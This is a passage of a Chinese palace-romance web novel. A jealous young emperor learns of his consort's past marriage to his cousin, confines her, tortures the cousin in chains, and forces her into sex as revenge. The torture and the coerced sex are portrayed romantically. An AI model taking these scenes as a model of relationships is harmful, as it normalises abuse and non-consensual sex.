乔棠抹掉眼泪,将和离书朝他一扔,“你自己去衙门办去吧!”随即出了温府,再也没有回来。 他自己去了衙门,拿着和离书,路过茶肆,看见乔棠和旁人闲聊,笑起来明媚娇妍。 他心想,原来棠棠离了我,这般开心。 “没过几日,镇国公府找到了臣,母亲恼怒温家对臣的凌虐,可怜臣,要让温家绝嗣,臣同意了,故作坠崖而死。” 从此世间再没了温璟这人了,乔棠不知缘由,在崖下寻了许多日,魏清砚自得知后,每每想起了,都悔恨不已。 “是臣犯了很多错,才到这般田地。” 可是—— 跨马游街的状元郎,镇国公府二公子,才情卓绝的魏编修,哪个都不是魏清砚想要的。 镇国公府并不知晓,他们每每和魏清砚说不可失态,不可情急,要徐徐图之时。 魏清砚都想说,他只是僻远冀州一个商户苛待养大的温璟,不是京中高门望族中,处事有度冷静自持的世家公子。 他的冰冷,他的淡漠,让京中朝堂误以为他端肃冷静,实际上这只是他的坏性子,他想做的不过是—— 魏清砚看着乔棠,昔年床榻间转头就能吻到侧颜,如今一道隔着不可逾越的天堑,多么令人绝望。 可他慢慢笑起来,“也许有一天,臣能带着妻子,回冀州去。” 回冀州去…… 乔棠在心里咀嚼这几个字,原来他还在期待着已不可能发生的事。 却说静仪郡主忍着羞怯自文华殿出去,带着宫人行了一路,立在路边,紧张地绞紧帕子等着。 没成想,却等来了李公公,她见李公公焦急地步过来,正疑惑着,听李公公道,“陛下要见郡主,请郡主随奴才去一趟。” 静仪郡主只好去了,原以为得去勤政殿,不想又行了一会儿,在半道见着了裴承珏。 她瞥了一眼,心头哆嗦,只觉这位堂兄与往常不一样了,浑身透着股阴鸷,声音也是冷的。 “你与 魏清砚一事,可想清楚了?” 静仪郡主咬唇,她正犹豫不决呢,不知如何答,忽瞥见裴承珏袖下手指摩挲着一副小像,瞧那模样,应是惠姐姐。 若是搬出惠姐姐,这位堂兄兴许就不这么催她了吧,她遂道,“贵妃娘娘正在帮臣妹问询魏编修意见,臣妹想再等等,听听魏编修的答案,臣妹恳请陛下……” “惠贵妃在文华殿?” 裴承珏沉声掐断她的话,她不由点头,裴承珏眉峰骤拢,撇下她往文华殿去。 文华殿,屋檐雪水嘀嗒不停。 乔棠低眉,看着魏清砚俯身捡落地面的书籍,默然不语。 魏清砚起身,抱着书靠近长案,将书籍一一在长案上放好。 两人距离近了。 魏清砚看着她泛红的眸子,轻颤的睫羽,极快地垂下眸子,“臣适才说了多么多,娘娘可还要劝臣应下与静仪郡主的婚事?” 乔棠摇摇头,这桩婚事成了,最后伤得最深的只会是静仪郡主。 她看着长案上的书卷,思及静仪郡主中意魏清砚的理由,心生悲哀,那姑娘倘若知晓自己钟情魏清砚的地方竟是魏清砚厌恶之处,不知会是何滋味。 “本宫会劝陛下放弃这桩赐婚。” 魏清砚将书卷整好,唇角一勾,微微笑起来。 这笑离太近了,乔棠看得怔然,她想,原来连魏清砚都会变,会笑得这般好看,会讲很多的话。 若是三年前,他便是这样,她自成亲就得到了想要的,还会和他和离么? 那些夜夜独自品尝的埋怨伤心,最后得知他坠崖而死的遗恨,也不会再有了吧。 都是阴差阳错,造化弄人。 她摇摇头,也笑起来了,罢了,还想这些做什么呢? 一时间,两人四目相对,魏清砚深深凝视着她的笑靥,难免失言,“棠棠在笑我?” 乔棠笑道,“若是当年魏编修能这样……” 魏清砚听到,眸光一颤,唇角轻抖,他错过了什么,那些夜夜难眠的时刻,他早已品尝尽了。 眼下听乔棠这么一说,更是悔恨,眸色溢满痛苦,“我知棠棠尚在怨我……” 乔棠见状,摇头阻止他接下来的话,她对魏清砚的那些埋怨伤心都已消失殆尽了。 乔棠自己既已释然,大抵也想缓解魏清砚的心头遗恨,宽慰他,好叫他放下以前,“适才你说想带我回冀州,若是陛下能择妃,我出宫去——” “或可与你一起回冀州。” 她也打算过,离宫后,她会带着王嬷嬷和家仆,回冀州去。 与魏清砚一起回去也可,可惜,两人是不会再做夫妻了。 当国公夫人找上她时,她应下国公夫人的要求,也不过是因夫妻三年,她便是对魏清砚没了情爱之心,也不忍魏清砚因她出什么闪失。 倘若两人都能安稳离京,一道回冀州去,也是个好结果。 只是,不等她再说清楚,魏清砚就会错了意,欣喜道,“那我等着棠棠。” 他余生都会等着这一天。 更让他欢喜的是,“看来棠棠是真不喜陛下。” 他乍然提起裴承珏,叫乔棠笑容骤收。 率先闪过乔棠脑海的是裴承珏一声又一声的姐姐,是桥上裴承珏亲吻发簪时那声喜欢姐姐,是生辰宴上裴承珏坦露情意的赤诚…… 最后才是两人街上相遇那一幕,她张了张口,声音发涩,“若非陛下要我进宫……” 她也不会有这些际遇,也不会陷入两难之地,她对裴承珏并非没有怨言。 可是为了魏清砚的处境,她答应国公夫人的请求,应下了太后要她离宫的要求,背弃了裴承珏。 她又觉着自己对裴承珏太坏了。 她兀自想得出神,魏清砚隔着长案,深深看着她。 两人谁也没有注意到,窗外立着一道人影,望过来的眸子已赤红一片,冰冷阴鸷。 魏清砚情难自制,抬起的袖子越过长案,叫乔棠乍然回神,当即退了一步。 神智清明后,她若有所感,目光望窗外瞥了一眼,但见窗外空无一人,移回视线。 见魏清砚欢喜模样,只觉自己失言,“魏清砚,倘若你能放下过去,你我或可还能见面,有机会一起回冀州去。” 她不愿魏清砚再执迷不悟,“若是你做不到,待你与静仪郡主事情结束,你再不必进宫,你我也无见面的需要了!” 魏清砚一瞬欣喜散尽,适才因误会激荡的情意冻僵在心腔中,慢慢退了一步,低眉行礼道,“臣明白了,臣会恪守本分。” “眼下讲书已结束,魏编修请回!” 乔棠目送魏清砚离开,又瞥了一眼窗子,若有所思,不过多时,静仪郡主进来了,低低喊,“惠姐姐。” 乔棠看着她忐忑的神色,于心不忍,迟疑着没开口。 静仪郡主等了片刻,似是已料到了结果,以手抚过那些书籍,“惠姐姐不必为难,我已明白了。” 她怔然许久,忽地抿唇笑了笑,将这份仰慕深埋心底, “魏编修是真一眼未看过我,我……不嫁他,也许并非坏事。” 话虽如此,还是落了泪,乔棠走过去,轻轻地替她拭掉眼泪,“你能这样想很好,不过,日子长着呢,谁知道往后呢!” 静仪郡主止了泪,抱住了她。 魏清砚出了文华殿,一路往宫门去,临近宫门时,忽听身后一道冷声,“魏编修留步。” 他回身望去,却是刑部的薛章走过来,眉眼肃然,不含半点暖意,“陛下要见你。” 第37章 这厢镇国公满心惊惧地到了慈宁宫,太后颇为诧异,他这个兄长镇守边关数年,风沙刀剑中过了大半辈子,行事也是沉稳有度,今日竟破天荒惊得额角生汗。 “何事能让兄长这般惊慌?” 太后对这个兄长甚为敬重,关切地请他落座,命宫人为镇国公上了茶,自己坐在一侧。 镇国公摆摆手,哪里有心思饮茶,任由鬓角细汗淌下,将裴承珏上朝情状一提,“如今朝堂安稳,陛下有此变化,缘由必出在后宫。” 太后未见裴承珏模样,听罢惊讶,又觉镇国公过于大惊小怪了,“少年人性子不稳是常事。” “兄长说缘由出在后宫,哀家看未必,陛下后宫唯惠贵妃一人,这阵子惠贵妃与陛下瞧着好得很,陛下怎会因此移了性子?” 镇国公紧紧盯着她,她忽地思及还有魏清砚一事,此事她们已瞒了陛下甚久,陛下应不会知晓,不由心虚地回望过去。 镇国公一瞧便知她心中所想,摇头心叹,他这个妹妹何等糊涂啊。 “老臣回京当日,夫人便将惠贵妃与清砚之事和老臣提了,太后娘娘便是再不喜惠贵妃,也不应和惠贵妃一起欺瞒陛下,更不应借清砚逼惠贵妃离宫。” 太后不以为意,不满道,“兄长此言差矣,若是那惠贵妃不离宫,以陛下对她的喜欢,难不成叫哀家眼睁睁看着她做皇后?” 镇国公呼了口气,压住怒气,“陛下他中意惠贵妃,便是惠贵妃要离宫,陛下也不会允许,太后娘娘委实打错了算盘。” 太后闻言一笑,一时忘了遮掩心思,“原来兄长也有想错的时候,哀家借清砚逼惠贵妃离宫,惠贵妃能离宫最好,若是不能,陛下一旦知晓她和清砚一事,也只会痛恨惠贵妃欺瞒他……” 忽见镇国公面色突变,她当即察觉失言,改口道,“兄长不必担忧,清砚与陛下乃连着血缘的表兄弟,陛下便是再恼怒,也不会对清砚如何,何况兄长乃是陛下的舅舅,便是看在兄长的面上,陛下也会宽宥清砚的。” 镇国公想起裴承珏看向他的冷然目光,这便是他来此的目的,长长呼了口气,“陛下已然长大,心性坚硬,非血缘关系能撼动得了,太后娘娘身为母亲,怎能这般不了解自己儿子?” 太后听得糊涂,“哀家哪里不了解陛下,陛下 向来敬重长辈,看重镇国公府,难不成还会为了一个女人置镇国公府于不顾?” 镇国公道,“陛下也重视惠贵妃。” “一个女人哪里能和镇国公府比?陛下不过是年少,图个新鲜……” 镇国公缓缓摇头,目光中尽是失望,“妹妹,当年你进宫,有镇国公府护着,先帝又中意你识大体,有些事糊涂些,先帝也不与你计较。” “可你怎能在自己儿子身上也这般糊涂?” 太后不服,还想言语,镇国公阻止道,“妹妹,你这些思量,陛下不知还好,一旦知了,他……会伤心的!” “老臣自从知了清砚与惠贵妃一事,夜夜为清砚伤神,甚至与夫人商量过——” 他望着太后,也不怕失言,残忍道,“能不能求陛下把惠贵妃让给清砚?” 当然这很荒谬,也是极不可能发生的事,陛下一旦知了,不降罪于镇国公府已是万幸了。 镇国公之所以说出来,是为了叫太后明白,“这才是父母应对儿子思虑的事情!” 他不欲多待,行礼告退,“今日朝罢,老臣观陛下反应,恐怕陛下已有所察觉了,还请娘娘早做准备。” 他转身出去了,太后犹自呆在座椅上,陷在他那些话里反应不过来。 镇国公出了慈宁宫,知晓今日魏清砚会在文华殿为静仪郡主讲书,算算时间,也该结束了,魏清砚该回翰林院了。 镇国公心下难安,唯恐儿子生了什么事端,眼下就想见见儿子,朝宫门疾步而去,想着赶去翰林院一趟。 方到宫门,遇着一人,却是刑部的薛章也要出宫,见了他目光一闪,行了行礼,“下官见过镇国公。” 镇国公寒暄道,“不知薛大人去往何处?” 薛章意味深长地瞥来一眼,“陛下命臣去刑部大牢带些东西,镇国公可是要回府?” 镇国公笑道,“且去翰林院见见二儿子,稍后回府。” 薛章步子一顿,望着他先走一步的身影,一向狠戾的眼神染上同情。 这厢乔棠安慰了静仪郡主,见静仪郡主无事了,又陪她读了会儿书,才送她回了慈宁宫,自己回了太极宫。 临到宫门口,发现守门侍卫多了许多,直将宫门围个严实,见了她回来,分列两侧,迎她进门。 她疑惑地迈步进去,询问门边宫人是何情况,宫人躬身垂颈,“回娘娘的话,是陛下安排的,奴婢也不知原因。” 乔棠以为与昨夜发生的大事有关,抬步往里走去,方行了几步,忽闻身后宫门重重一响,惊得她回眸望去。 但见两扇宫门缓缓阖上,严丝合缝地粘在一起,另有一排宫人上前,立在宫门前,也不言语,只静静守着。 乔棠被这变故所震,心头一跳,这大门素来不关,偏今日她一进来,关得严严实实。 乔棠按下疑惑,先穿过正殿,再至后殿寝殿中,期间喊了数声王嬷嬷,都无人回应。 她遂询问宫人,宫人道,“不久前,王嬷嬷出去了一趟,现今还未回来。” 原来只是出去了,乔棠不安稍减,再度回到门前,吩咐宫人,“把门打开,本宫要出去寻王嬷嬷。” 大门纹丝不动。 一宫人出列回道,“接陛下口谕,惠贵妃入门后不得再出。” 乔棠怀疑自己听错了,缓了会儿方明白过来,一时心头惊骇,“陛下何时下的令?” 宫人道,“约莫巳时二刻。” 那时她正在文华殿同魏清砚说话,如何也不会惹怒裴承珏。裴承珏这般做,必定有他的理由,兴许还是因昨夜朝中发生的大事。 她这般安抚自己,思及还未回来的王嬷嬷,问道,“便是本宫不得出,王嬷嬷可能进来?” 宫人低眉回,“陛下有令,往后宫中,除却陛下,任何人都不得进。” 乔棠再度震惊,这无异于将她囚在宫中,到底为的什么? 她立在宫门前甚久,思来想去依旧参不透答案,只能等晚间裴承珏回来,问一问裴承珏。 不想及至晚间,裴承珏并未回来,她心间的疑惑震惊消失,换上了不安,难不成真是自己哪里惹怒了裴承珏? 她在寝殿来回踱步,忽然发现自己画的那些画像不见了,裴承珏分明很喜欢,执意放在寝殿里,若无他的命令,无人感动。 定是裴承珏命人搬走了。 搬去了哪里? 她胆战心惊地进了储衣阁寻找,发现里面一片狼藉,带进宫的那只箱子被打开了,衣衫凌乱地挂在箱边。 里面的小像与琴不见了,为裴承珏缝制的腰带也不见了。 乔棠心头狂跳,但凡和冀州有关的东西都不见了,亦或是都被裴承珏带走了。 甚至王嬷嬷至今还未回来。 乔棠心念急转,遍体生寒,莫非裴承珏知晓了她和魏清砚的事! 若真如此,裴承珏将她困在这里,那将王嬷嬷带去了哪里? 魏清砚尚有镇国公府护着,镇国公也已回京,裴承珏便是动他,也得顾及镇国公吧? 可王嬷嬷呢? 乔棠转身出了寝殿,冷风吹得她心冰冷一片,她疾步至宫门前,对着宫人冷声道,“让开!” 见宫人不动,她径自上前,解了门栓便要开门,宫人心知陛下多么宠爱她,一时不敢阻挠,眼睁睁看她开了门,踏步而出。 乔棠甫一出去,一排侍卫持刀靠近,为首的那个统领低眉恳请,“请惠贵妃回去。” 乔棠置若罔闻,步步逼近,侍卫们节节败退,哪里敢碰她一丝一毫? 那统领将心一横,抽出长剑抵在她的身前,“陛下有令,惠贵妃不得出宫,倘惠贵妃执意前行,休怪刀剑无眼!” 这剑一出来,侍卫及身后宫人扑通跪了一地,唯有那统领还在苦苦撑着。 乔棠忽地退了一步,“本宫可以不出去,烦请统领大人告知陛下,请陛下送王嬷嬷回来。” 乔棠不欲为难他们,这已是对大家都好的决定了,那统领松了口气,当即应下,匆匆去了。 乔棠也不进去,只在宫门口等着,冬夜风冷,灌进心腔,直叫她难以忍受。 便是有宫人为她披上厚衣,她也很快被冻得鼻子发红,宫人劝道,“娘娘不若回殿里等。” 乔棠摇头不语,踏着结冰的地面,目光望着统领离开的方向。 裴承珏会把王嬷嬷还给她吧? 那统领离了太极宫,一路到了勤政殿,在宫门口竟见着了镇国公,忙地行礼,又与一侧的李公公道明来意。 镇国公听得目光一闪,心头不安更甚,却说他白日去翰林院见魏清砚,得知魏清砚并未回去。 他只当魏清砚去了别处,哪料及至晚间,魏清砚都没回府。 他与夫人派人寻了许多地方,又在宫中打听,得知魏清砚白日连宫门都未得出,只觉不妙,匆匆进宫求见裴承珏。 原以为是裴承珏不想见他,让李公公寻个理由打发他,不想连惠贵妃都不知裴承珏去了哪里。 镇国公紧皱眉头,命人去太后宫中问了,太后也是不知,一时三人立在殿门,惊惑地想,陛下到底去了何处? 倒不知,西北角一处荒殿,其中殿门紧闭,从里面泄出道道闷哼声,不知过了多久,闷哼声消失了。 殿门嘎吱一声开了,薛章面无表情步出来,冷风拂开他一身的血腥味,散在了空中。 殿里几烛灯火燃起,映出惨淡光景,斑驳宫墙上溅着道道血迹,狼狈可怖。 魏清砚跪在地上,双手被铁链吊起,头颅无力垂下,黑发凌乱散开。 身上陈年旧伤痕迹仍在,此时已被鞭打裂开,一片血肉模糊。 忽地铁链哗啦一声,魏清砚头颅被迫抬起,鲜血自下巴流淌,一双眸子尚能看清。 烛火中,裴承珏抓起他的头发,眼中泄出暴戾怒气。 “表哥,往年你就是用这副丑陋身体抱的惠贵妃?” 第38章 魏清砚唇角翕动,声音微弱,裴承珏无心去听,薄唇扯出一个冷笑,摁住他的脑袋直接往地上的琴身砸去。 砰得一声,脑袋砸到上面,琴弦沾染鲜血,裴承珏再度抓起他的头发,扬高他的头颅,露出毫无防备的脖颈。 随 即又伸出另一掌,动作迅疾地扯断琴弦,掌心被刮出数道血沟,滴出鲜血。 和魏清砚的鲜血一起,啪嗒,啪嗒地落在琴身上。 裴承珏感觉不到疼痛,手指扯开几根琴弦,目光剜向魏清砚脖颈。 殿外忽有声音传来,“陛下,太医到了。” 动作一顿,裴承珏面无表情地扔了琴弦,松手将魏清砚丢在地上,直起身子往殿外走去。 门边立着三个太医,躬身垂头,闻得浓郁血腥味,身子打颤,“臣等见过陛下。” 裴承珏垂下视线,“进去好好治,别叫朕的表哥死了。” “尤其是那双眼,日后视物要清晰。” 他垂臂收袖,步出殿门,掌心鲜血仍在嘀嗒,薛章忧心跟上,“陛下的手需要传太医……” 裴承珏侧目,眸子发冷,视线如刃,要刮掉薛章一层皮,薛章惧得垂头,“臣恭送陛下。” 裴承珏孤身而行,袍角被冷风吹得簌簌,整具身体都在发冷,前方也无灯笼照明。 他不管不顾,漫无目的,走到哪里是哪里。 沿路过去,侍卫宫人一开始以为遇到了什么鬼魅,瞧清是他后,心惊肉跳地伏地恭送他远去。 不知不觉间,他走了许多路,下意识停在一处,望见前方宫殿金碧辉煌,灯火明亮。 却原来是太极宫。 他转身便走,忽地右方传来侍卫统领的惊声,“属下见过陛下!” 他慢慢转过身,那统领垂头,也不知他是何模样,只一味回禀,“惠贵妃要属下转告陛下,请陛下将王嬷嬷送回去。” 裴承珏薄唇一动,扯出一抹冷笑,“告诉惠贵妃,宫里从来没有过什么王嬷嬷。” “是。”那统领并未起身,再道,“天寒地冷,惠贵妃执意在宫门处等着,已等了许久了,属下等人相劝不动,请陛下责罚。” 裴承珏掌心骤然握紧,血水又流了下来,要离开的步子一拐,向太极宫殿门走去。 那统领起身跟上,抬抬头颅,才惊骇地发现陛下袍子上溅满了血迹,赶紧垂下头去。 太极宫近在眼前,裴承珏一抬眼便望见了宫门处的乔棠,她披着衣服,脸颊泛红,鼻头也红红的,想来是受冷所致,但即便这样仍不肯进去。 她在等…… 裴承珏眸光一闪,缓步过去,侍卫宫人见状纷纷行礼,他只望向低头的乔棠。 乔棠乍然闻得裴承珏回来了,还未抬头,欣喜张口,“陛下可将王嬷嬷送回来了?王嬷嬷……” 抬头望见裴承珏那一瞬时,再想收回来已晚了,但见裴承珏满身血迹,侧颊眉眼都染有血点,闻声唇角沉沉一垂,眸色发狠。 乔棠心脏骤缩,脑中蹿出数个惊慌念头,哪里来的血?裴承珏的么?他怎么会受伤? 她想冲过去问一问,霍地思及裴承珏恐怕知晓了她和魏清砚的事,看他模样也是十分愤怒,他会怎么对自己?将自己禁在宫中,然后像以前喂酒一样折磨自己么? 乔棠唇瓣轻抖,面如金纸,牙齿打颤,迟迟发不出声音,望见裴承珏抬步过来,吓得往后退去,身子紧紧贴在了殿门上。 “让惠贵妃失望了,不是王嬷嬷回来了。” 裴承珏冷眼瞥过来,接着越过她进门去了,她怔然一瞬,裴承珏似乎不想搭理她。 她心头惊恐散去一些,忙地跟了过去,她适才站太久了,不能疾行,只能慢慢走着。 她有很多问题想问裴承珏,又害怕引起裴承珏怒火,且裴承珏不等她,只顾步履生风地往前走,很快甩了她一大截。 宫灯照得廊下亮堂,她看见前方滴滴鲜血落在地上,紧张地心想,裴承珏果然受伤了,这宫中什么人能伤到裴承珏? 她顾不得害怕了,加快步子追了上去,伸手扯住了裴承珏衣袖。 裴承珏一下止步,但不回头,也不出声。 乔棠呼了口气,待呼吸平稳,小声询问,“陛下的手怎么了?身上也有血迹,可还有哪里受伤了?” 裴承珏回首,垂下视线,触及她眸中担忧,猛地抽出衣袖,转过身来,以往对着她笑的眸子闪过浓重讽刺,“这可不是朕的血,惠贵妃不必惺惺作态。” 乔棠只注意到后半句,眸子瞪大,不是裴承珏的血,那会是谁的?王嬷嬷的,亦或是魏清砚的?裴承珏把他们怎么了? 她想得太多,一时头晕目眩,适才又站又走,身子有些撑不住了,在裴承珏视线中晃了晃。 裴承珏手臂微伸,扯唇,“惠贵妃。” 乔棠想竭力站稳身体,心神又乱糟糟,只想找个依仗,一把扶住了他的胳膊。 乔棠的手很冷,裴承珏的胳膊也很冷,乔棠不由自主地打了个寒颤。 裴承珏静静看着,蓦地冷笑一声,“惠贵妃也应想到了。” “这都是表哥的血。” 乔棠只觉耳畔轰隆一声,浑身血液都凝固了,他果真知晓了,她急急道,“陛下不能动他!” 裴承珏向来敬重镇国公,魏清砚又是镇国公夫妇找回来的儿子,得镇国公夫妇万分重视,倘若裴承珏因为她的缘故动了魏清砚,他与镇国公的血缘关系该如何办! 乔棠一下抓紧裴承珏胳膊,企图说服裴承珏为了镇国公放了魏清砚,全然忘了她与魏清砚的关系,这话她说出来,无异于火上浇油。 裴承珏果然面色骤变,眸色狠戾,一扬胳膊甩开了她,转身就走,在她要跟上来时,突地回身,冷冷一笑,“惠贵妃。” 声音一顿,眸子一下阴鸷,“不,表嫂。” “表嫂既和表哥情深义重,当初又何必和离,一直留在冀州多好,省得碰到朕这个要你进宫的恶人。” 他扬长而去,留下乔棠神色惊滞,什么表嫂,待反应过来后,浑身都僵了下来,心腔灌入冷风,又麻又木。 不知僵直地站了多久,两个宫人急急赶来,拿出衣物裹住了她,拥着她进了温暖的寝殿,小心地喂她喝了热茶,她方恢复知觉, 在外间的椅子上坐了会儿,她的脑子重新转动,将适才情景回想一遍,一手紧紧地握住了扶手,她骗了裴承珏这么久,终于被裴承珏发现了。 这可是欺君之罪。 且对待和他有血缘关系的魏清砚,他尚且动手到血迹累累,那么对待自己呢?对待王嬷嬷呢? 乔棠骇得不敢细想,只觉这条命自进宫就由不得自己了,眼下正握在裴承珏手里,裴承珏稍一使力,她就一命呜呼了。 乔棠正想着,耳边传来脚步声,抬眸一看,是裴承珏进来了,他已换了衣物,掌心伤口清洗过,并未包扎,还在往外沁出血珠。 裴承珏在长案前立住,与乔棠离得极近,但他像是没看见乔棠这个人,目光巡过诸多书卷,从里面拣出一册,摊开至案上,垂眸瞧了起来。 乔棠瞠目,内心生出一种荒谬感,他这个看书做什么?以适才那怒到极致的架势,不应该厌恶地叫她滚么? 啪嗒一声,血珠落在了书上,乔棠控制不住地看去,慢慢地起了身,正要出门,耳边一道沉声,“去哪儿!” 乔棠咬唇,小声道,“陛下的手受伤了,应该喊太医来看看。” 房里静了一下,裴承珏将受伤的掌心伸过来,冷冷地看着她,“惠贵妃难道没有包扎过伤口?” 乔棠摇摇头,明了他的意思了,命宫人备好药膏绢布送过来,她靠近裴承珏,扶住他的手掌,慢慢地 为他包扎好了伤口。 末了,她松了裴承珏的手,转身要走时,裴承珏的声音响起,“惠贵妃此刻应去沐浴。” “今夜侍寝。” 乔棠猛地回头,以为自己听错了,眼眶中满是惊愕。 裴承珏在扶手上坐下,一双眸子紧紧锁着她,“怎么,想为表哥守身?” 他一下想起先前乔棠哄他的那些言语,说是为了身体好,说是他未及冠做父皇太早,不过是心里没他,不想他进去罢了! 裴承珏面色泛冷,再无任何怜惜,阴鸷目光逼得乔棠步步后退,乔棠张了张口,惧于他通身的压迫,到底未再出声,转身去了。 待沐浴过去,她穿着寝衣进来,裴承珏还在椅子上坐着,冷然地瞥了她一眼,“过来。” 乔棠步过去,若是以往裴承珏早揽着她吻下来了,此刻裴承珏只望着她,“惠贵妃做了别人三年的妻子,应知道怎么做。” 乔棠狠狠阖眼,裴承珏分明是在报复自己,报复自己骗他太多,她毫无招架之力,只能照做。 她靠近裴承珏,伸出双手,颤抖的手指去解裴承珏的衣领,裴承珏纹丝不动,任由她褪去自己衣物,露出肩宽锁骨。 手指微顿,乔棠有所迟疑,裴承珏目似寒玉,刺得她咬牙闭眼,脑袋埋过去,唇瓣落在锁骨上。 裴承珏上身猛地一颤,不过一瞬,两只手指钳住乔棠下巴,迫使她抬起脑袋,眸光冰冷可怖。 “惠贵妃亲哪里!” 两人往日多么多亲吻,床榻间也亲密接触过,乔棠从来不会亲他这里,那就代表着她这样亲过魏清砚那个前夫。 她还真按与前夫时的模样做了!—— 作者有话说:提前更了,今天没啦! 第39章 裴承珏恼到不行,乔棠则是愕然,下巴隐隐作疼,心头又添委屈,他怎这么难弄! 不是他要的么! 转念一想,定是裴承珏故意为难自己,好向自己撒气,她只好吞下委屈,只敢微微红一点眼眶,也不期望裴承珏能再怜惜自己。 好在裴承珏很快松了手指,她得以呼了口气,听裴承珏冷言冷语道,“继续。” 乔棠咬了咬唇,为难地将视线落在裴承珏上身上,他这么痛恨自己亲锁骨,那他喜欢亲哪里? 乔棠迟疑将视线抬高,掠过颈子,落在那双薄唇上,犹豫着吻了上去,满心忐忑地等着。 裴承珏没有再生气。 他喜欢被亲这里,乔棠心下一松,找到了安全的突破口,边吻边坐过去。 过了好一会儿,才有一双手臂伸过来,搂住她的腰肢。 良久,乔棠吃不消了,无力主动了,示弱地闭上眸子,表示任由裴承珏去做。 裴承珏托住她的后颈,冰冷目光掠过她紧闭的眸子,落在微微启开的红唇,恼怒地吻了过去。 就是这双唇,今日在文华殿,说要和魏清砚回冀州去,说自己被迫进宫…… 分明往日也说过喜欢他,却原来都是骗他的! 骗子! 亲吻力道加重,侵入掠夺着乔棠的气息,乔棠本就无力了,这下更是心神飘荡,全身如绵。 意识昏沉之际,寝衣褪去,她察觉到裴承珏情焰更炽,猛地意识回笼,睁开眸子。 裴承珏薄唇紧抿,额角生汗,握住手中腰肢就要往下去摁。 乔棠慌得不行,裴承珏纵然学过敦伦之道,也未实打实做过,又这般情急,这一下摁进去可是要疼死她。 原来是要在床榻上报复她,弄死她,乔棠不肯,伸手握住裴承珏手掌,引着他的手指往下去。 裴承珏手指不动,目光幽冷,像是不依她,执意要疼死她。 她急得落泪,眼泪啪嗒啪嗒地滴到裴承珏手上,脸颊本就红了,一时显得神情凄凄,格外可怜。 裴承珏嗤地一笑,“惠贵妃还当朕是从前,哭一哭,朕就不舍得了?” 真是冷心之语,宛若冰水灌进乔棠心腔,乔棠的泪还在落,身子已凉透了。 僵持之下,她也恼了,他本就不想叫自己好受,做什么指望他?大不了疼死,不活了! 她拨开裴承珏的手,咬紧唇角,就那么下去,腮边泪珠直直坠下。 很快她又痛恨自己逞强,又不愿在裴承珏面前表露出来,索性闭上眸子。 青丝散开,凌乱不堪,她不管不顾,在疼痛中感受裴承珏。 须臾,暴风骤雨,浪潮阵阵,乔棠心神飘忽。 不知过了多久,她被抱起,随着裴承珏离开椅子。 书籍被拂落在地,换成青丝铺满长案。 乔棠力不能支,昏了过去。 迷迷糊糊醒来,身下一片柔软,原来已回到床榻上了,她阖着眸子受着,闻得裴承珏声音,绝望地心想,上朝时间何时到! 时间慢慢过去。 恍惚之间,脑袋被手掌托起,干涩唇瓣被渡进酒水,她脑中一激灵,摇着脑袋抗拒,不要喂她酒,她不想再经受一次折磨。 无奈力气不足,又被强硬地启开唇瓣渡酒水,唇瓣不由泄出求饶,“不、不要。” 可过了好一会儿,身子也毫无反应,她慢慢明白,原来只喝了几口清酒,没有掺杂别的,气得她喃喃骂了几声。 耳边传来裴承珏冷声,“接着骂。” 乔棠一下噤声。 卯时到时,不得停歇。 这厢奉天殿,灯火煌煌,朝臣分立两侧,静静等候裴承珏的到来。 镇国公立在前方,焦灼不已。 昨夜他求见裴承珏无果,后来探得消息,得知裴承珏一身血迹进了太极宫,更是忧惧。 魏清砚至今未归,裴承珏身上血迹是否与他无关,镇国公无从得知,只能捱至早朝,见了裴承珏再问。 奉天殿一片沉寂,时间已过了许多,便是裴承珏像前两次迟到,也是时候来了。 但他没来。 朝臣吃惊不已,又等了半个时辰,霍地明白,裴承珏不来了,他旷了朝会。 何其荒唐! 朝臣由震骇到忿然,纷纷望向内阁辅臣,意思不言而喻,您们把少年天子辅成这样! 内阁辅臣亦是惊愕,自打裴承珏登基,一贯醉心国事,比朝臣都要勤谨,谁能料想有一日空了朝会! “听闻陛下昨夜进了太极宫。” 都察院一御史道,他这一开口,朝臣眼风四动,谁人不知,太极宫住着陛下宠爱的惠贵妃。 可别是这位惠贵妃缠住了陛下,陛下年少捱不住,脑子糊涂了,误了国事! 朝臣正思付着,李公公带来了裴承珏旨意,休朝三日,朝务暂委内阁处理。 一时殿中哗然,休朝三日,这是提前过年么! 要知道,裴承珏先前过于勤谨,年假也只给了三日,今日倒好,一下就是休三日! 朝臣躁动,内阁辅臣与镇国公对视,做主散了朝会,让朝臣离开后,内阁辅臣才对着镇国公道,“陛下这……” 镇国公可比他们焦急,只道,“此事先禀明太后娘娘,容太后娘娘定夺。” 内阁辅臣纷纷点头,目送他出殿去了,才叹口气道,“难不成真因惠贵妃?” 一辅臣道,“若是后妃之事,确然该由太后娘娘定夺。” 这厢镇国公急急去求见太后娘娘,太后娘娘听闻裴承珏旷了朝会,勃然大怒,“陛下未免太荒唐了,以哀家看,这皆是因惠贵妃!” 可怜乔棠还不知自己蒙受了坏名声,昏沉一觉后醒来,天已大亮了。 她动了动酥软身子,察觉腰上圈着一条臂膀,不由惊得睁眸,入眼便是裴承珏陷入沉睡的面容。 他怎么没去上朝! 乔棠算算时间,今日也不是休朝日子,裴承珏不会因初尝人事,过于沉湎,忘了上朝去了吧! 她想起床看看情况,不料才直起上身,腰间臂膀猛地使力,一下压得她躺了回去。 耳边响起沉沉声音,“去哪儿!” 乔棠侧目,对上裴承珏愤怒眼神,心道,看来他真是恼死自己了,一大早就这么动怒。 她小声提醒,“陛下,上朝时间过了。” “朕问惠贵妃去哪儿!” 裴承珏披衣下床,立在床边,巍巍身躯将她堵在床上,似乎她连下床的自由都没了。 她也有些气了,裴承珏分明有心磋磨她,她低声道,“难道臣妾就不用起床了么?” 裴承珏扯唇,轻描淡写,“惠贵妃这张嘴也无甚的实话,说是起床,心里恐怕想着回冀州去。” 他心里有气,生拉硬扯的,听得乔棠面色一白,心头大惊,他、他怎知晓这些! 脑中忽闪出昨日文华殿空荡荡的窗外,难不成当时裴承珏就在那里,听见了她与魏清砚的谈话? 她不敢相信地望向裴承珏,裴承珏面色像结了层霜,便是不发一言,也证实了她的猜想。 乔棠一下软了身子,当即想解释,裴承珏旋身走了,分明不想多谈。 乔棠有苦难言,转瞬一想,她这苦好似没个解法,扯谎哄骗裴承珏是事实,和魏清砚说离京回冀州也是事实,无有任何理由解释。 但有一点,她无心问愧,她对魏清砚果真是没了情爱之心,不能再让裴承珏动魏清砚了。 她正这般想着,宫人们进来服侍她起床了,她瞥了眼浑身的痕迹,饶是裴承珏抱她洗过了,她也有些羞恼,挥退宫人,自行起床洗漱。 